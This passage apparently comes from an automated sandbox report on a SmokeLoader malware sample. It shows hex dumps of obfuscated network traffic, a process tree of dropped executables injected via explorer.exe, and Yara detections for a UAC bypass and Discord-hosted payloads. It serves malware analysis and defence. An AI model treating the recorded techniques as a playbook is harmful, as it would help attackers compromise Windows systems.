2021-10-29 18:30:03 UTC	2861	IN	Data Raw: 20 4f 4f 6f 20 78 20 51 78 20 78 20 59 78 20 78 20 59 52 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 52 6b 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 52 74 20 78 20 74 45 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 74 74 20 78 20 51 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 51 6b 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 6b 45 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 59 78 20 78 20 59 74 20 78 20 4f Data Ascii: OOo x Qx x Yx x YR x OxE x kK x tO x Oxk x OOR x Qt x kk x ko x Oxk x Qx x Rk x RQ x Oxt x tt x Rt x tE x tO x RY x KQ x kY x RQ x RY x Oox x tt x Qk x kY x Yx x kR x OxR x Oxx x tO x Oxk x OOx x Qk x OoO x RR x kE x kY x Kk x RQ x OxE x kO x Yx x Yt x O
2021-10-29 18:30:03 UTC	2865	IN	Data Raw: 52 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 51 20 78 20 74 78 20 78 20 52 52 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 6b 51 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 51 51 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 52 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 52 74 20 78 20 59 45 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 51 20 78 20 59 4f 20 78 20 6b 4f 20 78 20 4f 4f 74 20 78 20 6b 51 20 78 20 59 Data Ascii: Rk x RY x Kt x RR x OxE x OxE x OOK x RR x OxE x RQ x tx x RR x kO x QQ x OOQ x RY x OOO x kQ x Ooo x Qt x to x ko x Kk x QQ x Rk x OOO x OOk x tR x Yx x tk x OoO x Oxx x Rt x YE x KQ x QQ x Yx x kR x OoO x Oxx x to x tK x KQ x QQ x YO x kO x OOt x kQ x Y
2021-10-29 18:30:03 UTC	2876	IN	Data Raw: 78 20 52 74 20 78 20 52 51 20 78 20 52 6b 20 78 20 4b 6b 20 78 20 51 74 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 74 45 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 6b 51 20 78 20 74 4b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4b 20 78 20 51 51 20 78 20 6b 6b 20 78 20 59 4b 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 4f 78 45 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 74 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 52 51 20 78 20 74 52 20 78 Data Ascii: x Rt x RQ x Rk x Kk x Qt x tk x kk x tE x OOQ x tx x kQ x tK x OxR x tt x tk x RY x kK x QQ x kk x YK x Rt x kO x kO x OxE x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tt x RR x kO x RY x OOQ x Oxo x kK x RQ x tR x
2021-10-29 18:30:03 UTC	2881	IN	Data Raw: 4f 4f 51 20 78 20 59 59 20 78 20 4f 6f 78 20 78 20 4f 6f 78 20 78 20 6b 51 20 78 20 6b 6f 20 78 20 4f 4f 4b 20 78 20 4b 45 20 78 20 6b 78 20 78 20 6b 74 20 78 20 4f 4f 59 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 51 74 20 78 20 51 51 20 78 20 6b 74 20 78 20 74 51 20 78 20 59 74 20 78 20 6b 6b 20 78 20 4f 4f 78 20 78 20 6b 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 6f 20 78 20 4b 45 20 78 20 74 6f 20 78 20 4f 6f 6f 20 78 20 6b 78 20 78 20 4f 78 4b 20 78 20 4b 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6b 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 59 59 20 78 20 6b 74 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4b 51 20 78 20 4f 4f 6f 20 78 20 59 78 20 78 20 4f 4f 4b 20 78 20 74 6f 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 51 78 Data Ascii: OOQ x YY x Oox x Oox x kQ x ko x OOK x KE x kx x kt x OOY x kR x RR x OOx x Qt x QQ x kt x tQ x Yt x kk x OOx x kO x OOK x Oxo x KE x to x Ooo x kx x OxK x Kt x OOE x OOk x OxQ x OxY x YY x kt x to x Yo x OoO x tE x KQ x OOo x Yx x OOK x to x Kk x kY x Qx
2021-10-29 18:30:03 UTC	2897	IN	Data Raw: 4b 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 74 51 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 52 59 20 78 20 59 4f 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 6f 4f 20 78 20 4b 6b 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 74 4f 20 78 20 4f 6f 4f 20 78 20 4f 4f 59 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 4f 4f 45 20 78 20 4f 78 6f 20 78 20 6b 45 20 78 20 4f 4f 4f 20 78 20 74 78 20 78 20 59 74 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4b 74 20 78 20 6b 6f 20 78 20 51 74 20 78 20 4f 4f 4f 20 78 20 74 52 20 78 20 4f 78 6b 20 78 20 74 4b 20 78 20 6b 74 20 78 20 51 78 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 74 6f 20 Data Ascii: K x OOR x kR x tQ x RR x Oxt x kk x kk x Oxo x RY x YO x OOO x OoO x Rt x OoO x Kk x Oxk x OxK x RR x tO x OoO x OOY x tk x OOY x OOE x Oxo x kE x OOO x tx x Yt x Qk x OOQ x YY x tK x Kt x ko x Qt x OOO x tR x Oxk x tK x kt x Qx x RY x OOo x Qk x tO x to
2021-10-29 18:30:03 UTC	2908	IN	Data Raw: 20 78 20 51 6b 20 78 20 74 6b 20 78 20 4f 4f 52 20 78 20 4f 4f 6f 20 78 20 4f 78 6b 20 78 20 4b 74 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 74 74 20 78 20 4f 4f 4f 20 78 20 6b 52 20 78 20 74 59 20 78 20 74 6b 20 78 20 74 59 20 78 20 4b 45 20 78 20 52 6b 20 78 20 4f 78 59 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 51 51 20 78 20 51 78 20 78 20 4f 78 78 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 51 78 20 78 20 6b 6f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 4f 20 78 20 52 4f 20 78 20 78 20 51 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 4f 45 20 4f 6f 45 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 4f 6f 45 20 78 20 4b Data Ascii: x Qk x tk x OOR x OOo x Oxk x Kt x tY x OOO x tt x OOO x kR x tY x tk x tY x KE x Rk x OxY x Oox x Oxk x QQ x Qx x Oxx x OOR x tk x Qx x ko x OOQ x RY x RY x RY x RY x RY x RY x RY x RY x RO x RO x x Q KR x OxO x Oox x OxO x x OE OoE x Kk x OoY x OoE x K
2021-10-29 18:30:03 UTC	2924	IN	Data Raw: 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 4f 78 20 78 20 45 74 20 78 20 4f 78 51 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 4f 6f 78 20 78 20 45 74 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 4f 78 78 20 78 20 4f 4f 45 20 78 20 4f 4f 4b 20 78 20 4f 78 45 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 45 74 20 78 20 4f 78 59 20 78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 45 20 78 20 4f 4f 6f 20 78 20 4f 4f 6b 20 78 20 45 74 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 4f 78 4b 20 78 20 4f 4f 59 20 78 20 4f 78 6b 20 78 20 4f 78 59 20 78 20 4f 4f 59 20 78 20 4f 4f 6b 20 78 20 4f 78 74 20 78 20 4f 4f 52 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 45 74 20 78 20 45 6f 20 78 20 45 74 20 78 20 51 51 20 78 20 4f 78 6f Data Ascii: OOK x Et x OOx x Et x OxQ x OOY x Qk x OOQ x Oox x Et x Oxo x Et x Oxx x OOE x OOK x OxE x OOK x Et x OxY x Et x OxY x OOk x Oxt x OOE x OOo x OOk x Et x OxE x Et x OxK x OOY x Oxk x OxY x OOY x OOk x Oxt x OOR x OOk x OOO x Oxo x Et x Eo x Et x QQ x Oxo
2021-10-29 18:30:03 UTC	2940	IN	Data Raw: 45 20 78 20 4f 4f 4f 20 78 20 4f 4f 6f 20 78 20 4f 6f 78 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 4f 78 45 20 78 20 4f 6f 78 20 78 20 4f 6f 6f 20 78 20 4f 6f 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 45 20 78 20 45 74 20 78 20 4f 4f 52 20 78 20 45 74 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 4f 78 78 20 78 20 4f 4f 52 20 78 20 4f 4f 51 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4f 4f 6f 20 78 20 4f 4f 45 20 78 20 4f 4f 59 20 78 20 45 74 20 78 20 51 74 20 78 20 45 74 20 78 20 4f 4f 51 20 78 20 4f 4f 78 20 78 20 4f 6f 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 52 20 78 20 4f 4f 74 20 78 20 51 6b 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 45 74 20 78 20 4f 4f 4b 20 78 20 45 74 20 78 20 4f 78 4f 20 Data Ascii: E x OOO x OOo x Oox x OOE x OOY x OxE x Oox x Ooo x Oox x Qt x OOR x OxE x Et x OOR x Et x Oxk x OOY x QQ x OxE x Oxx x OOR x OOQ x OOO x OxY x Qk x OOo x OOE x OOY x Et x Qt x Et x OOQ x OOx x Ooo x OOo x OxR x OOt x Qk x OOk x OxK x Et x OOK x Et x OxO
2021-10-29 18:30:03 UTC	2956	IN	Data Raw: 20 78 20 4b 6b 20 78 20 4f 6f 59 20 78 20 51 6f 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 4b 52 20 78 20 51 6b 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 4f 78 78 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 6b 45 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 4b 20 78 20 4b 6b 20 78 20 45 4b 20 78 20 45 4b 20 78 20 45 6f 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 59 20 78 20 4f 4f 52 20 78 20 4f 6f 4f 20 78 20 52 74 20 78 20 4f 78 6b 20 78 20 51 74 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 Data Ascii: x Kk x OoY x Qo x OOR x OxO x OOY x OOR x KR x Qk x Qt x OOR x EK x Eo x Kt x kt x OxY x OOx x Oxx x OOO x OOQ x kE x OOR x Qt x OOR x OxO x Eo x EK x EK x Kk x EK x EK x Eo x Kt x kx x OOK x OxY x OOO x OOK x OxY x OOR x OoO x Rt x Oxk x Qt x OOY x OOY
2021-10-29 18:30:03 UTC	2972	IN	Data Raw: 20 78 20 6b 6f 20 78 20 59 4f 20 78 20 59 78 20 78 20 4b 52 20 78 20 52 51 20 78 20 6b 6b 20 78 20 52 51 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 45 20 78 20 4f 4f 78 20 78 20 4f 4f 59 20 78 20 4f 4f 52 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 51 74 20 78 20 4f 4f 52 20 78 20 4f 78 4b 20 78 20 45 4b 20 78 20 4b 4b 20 78 20 45 6f 20 78 20 45 4b 20 78 20 45 74 20 78 20 6b 59 20 78 20 4f 4f 78 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 4f 78 4f 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 4f 78 4f 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 4f 4f 4b 20 78 20 Data Ascii: x ko x YO x Yx x KR x RQ x kk x RQ x EK x KK x Eo x EK x kx x OOK x OOO x Oxo x OxY x Oxk x OxO x tE x OOx x OOY x OOR x Qt x Oxk x Oxk x kx x Qt x OOR x OxK x EK x KK x Eo x EK x Et x kY x OOx x OxO x Oox x OOo x OxO x QQ x OOR x OxO x Oxx x RQ x OOK x
2021-10-29 18:30:03 UTC	2988	IN	Data Raw: 20 4f 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 6b 6b 20 78 20 4b 52 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 4f 78 4f 20 78 20 78 20 78 20 78 20 78 20 59 6f 20 78 20 6b 20 78 20 4f 20 78 20 6b 78 20 78 20 4f 4f 4b 20 78 20 4f 4f 4f 20 78 20 4f 78 78 20 78 20 4f 4f 74 20 78 20 51 51 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 78 4f 20 78 20 4f 4f 4b 20 78 20 4f 4f 59 20 78 20 4f 78 59 20 78 20 4f 4f 4f 20 78 20 4f 4f 78 20 78 20 78 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 4b 52 20 78 20 4b 6b 20 78 20 78 20 78 20 59 52 20 78 20 6b 20 78 20 4f 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 4f 4f 59 20 78 20 4f 78 4f 20 78 20 4f 78 51 20 78 20 51 6b 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 45 6f 20 78 Data Ascii: OOO x OOK x OxO x kk x KR x OxO x Oox x OxO x x x x x Yo x k x O x kx x OOK x OOO x Oxx x OOt x QQ x OOR x kR x OxO x OOK x OOY x OxY x OOO x OOx x x x Kk x KR x Kk x KR x Kk x KR x Kk x x x YR x k x O x RY x OOY x OOY x OxO x OxQ x Qk x Oxk x OoO x Eo x

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 25Kf6vSBoq.exe PID: 2904 Parent PID: 5520

General

Start time:	20:28:34
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\25Kf6vSBoq.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\25Kf6vSBoq.exe'
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 25Kf6vSBoq.exe PID: 5668 Parent PID: 2904

General

Start time:	20:28:38
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\25Kf6vSBoq.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\25Kf6vSBoq.exe'
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.312112789.0000000002051000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000002.00000002.311815156.0000000000420000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 5668

General

Start time:	20:28:46
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000004.00000000.296771196.0000000002871000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: 6EC5.exe PID: 6952 Parent PID: 3292

General

Start time:	20:29:22
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\6EC5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\6EC5.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: irjbuft PID: 6960 Parent PID: 1104

General

Start time:	20:29:22
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\irjbuft
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\irjbuft
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 45%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: 6EC5.exe PID: 7072 Parent PID: 6952

General

Start time:	20:29:31
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\6EC5.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\6EC5.exe
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.382786562.0000000001F70000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000F.00000002.382804638.0000000001F91000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: irjbuft PID: 7100 Parent PID: 6960

General

Start time:	20:29:35
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\irjbuft
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\irjbuft
Imagebase:	0x400000
File size:	344064 bytes
MD5 hash:	3B947ED5AABDD775B1AFC31A5C4D39A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: B82B.exe PID: 1936 Parent PID: 3292

General

Start time:	20:29:42
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\B82B.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\B82B.exe
Imagebase:	0x850000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000003.501647744.000000000666B000.00000004.00000001.sdmp, Author: Joe Security Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B82B.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: C1B2.exe PID: 5352 Parent PID: 3292

General

Start time:	20:29:45
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\C1B2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\C1B2.exe
Imagebase:	0xe80000
File size:	512952 bytes
MD5 hash:	42758E2569239A774BECDB12698B124C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\C1B2.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: CD0D.exe PID: 5072 Parent PID: 3292

General

Start time:	20:29:49
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\CD0D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\CD0D.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000003.418065622.0000000002FC0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.447688119.0000000004BA1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000016.00000002.434655880.0000000003000000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 80%, ReversingLabs

Chronological Activities

Analysis Process: DF9C.exe PID: 5668 Parent PID: 3292

General

Start time:	20:29:52
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\DF9C.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\DF9C.exe
Imagebase:	0x460000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: EA8A.exe PID: 3820 Parent PID: 3292

General

Start time:	20:29:55
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\EA8A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\EA8A.exe
Imagebase:	0xfa0000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\EA8A.exe, Author: Florian Roth
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 43%, ReversingLabs

Chronological Activities

Analysis Process: AdvancedRun.exe PID: 6864 Parent PID: 1936

General

Start time:	20:29:56
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\4c8d4506-0afb-4e86-ac6e-de7136a784d5\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Imagebase:	0x400000
File size:	91000 bytes
MD5 hash:	17FC12902F4769AF3A9271EB4E2DACCE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, Metadefender, Browse Detection: 0%, ReversingLabs

Chronological Activities

Analysis Process: F4BC.exe PID: 64 Parent PID: 3292

General

Start time:	20:29:58
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\F4BC.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\F4BC.exe
Imagebase:	0x400000
File size:	347136 bytes
MD5 hash:	31BE6099D31BDBF1ED339EFFDC1C7064
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.462341902.0000000004791000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.461574944.0000000002B80000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 57%, ReversingLabs

Chronological Activities

Analysis Process: DF9C.exe PID: 6128 Parent PID: 5668

General

Start time:	20:30:01
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\DF9C.exe
Wow64 process (32bit):	true
Commandline:	DF9C.exe
Imagebase:	0x8a0000
File size:	859648 bytes
MD5 hash:	AB823DF932B3C2941A9015848EBDB97B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 25Kf6vSBoq.exe PID: 2904 Parent PID: 5520 25Kf6vSBoq.exeCOMMON

Executed Functions

Function 02E6DB07, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02E6DB4F

Memory Dump Source

Source File: 00000001.00000002.257265550.0000000002E69000.00000040.00000001.sdmp, Offset: 02E69000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: fb48eda85d8b442e76de841c6bb931c30521d285ff06a61eeaf175ceeb067ec1
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 83F0F6327807126FD7203BF4AC8CF7EB2ECAF496A8F505528E642D10C4CBB0E8058A61

Uniqueness

Uniqueness Score: -1.00%

Function 00421740, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041CAFB,?,?,004218B0), ref: 00421747

Memory Dump Source

Source File: 00000001.00000002.256869881.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.256865532.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.256895001.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.257155843.0000000002B35000.00000002.00020000.sdmp Download File

Similarity

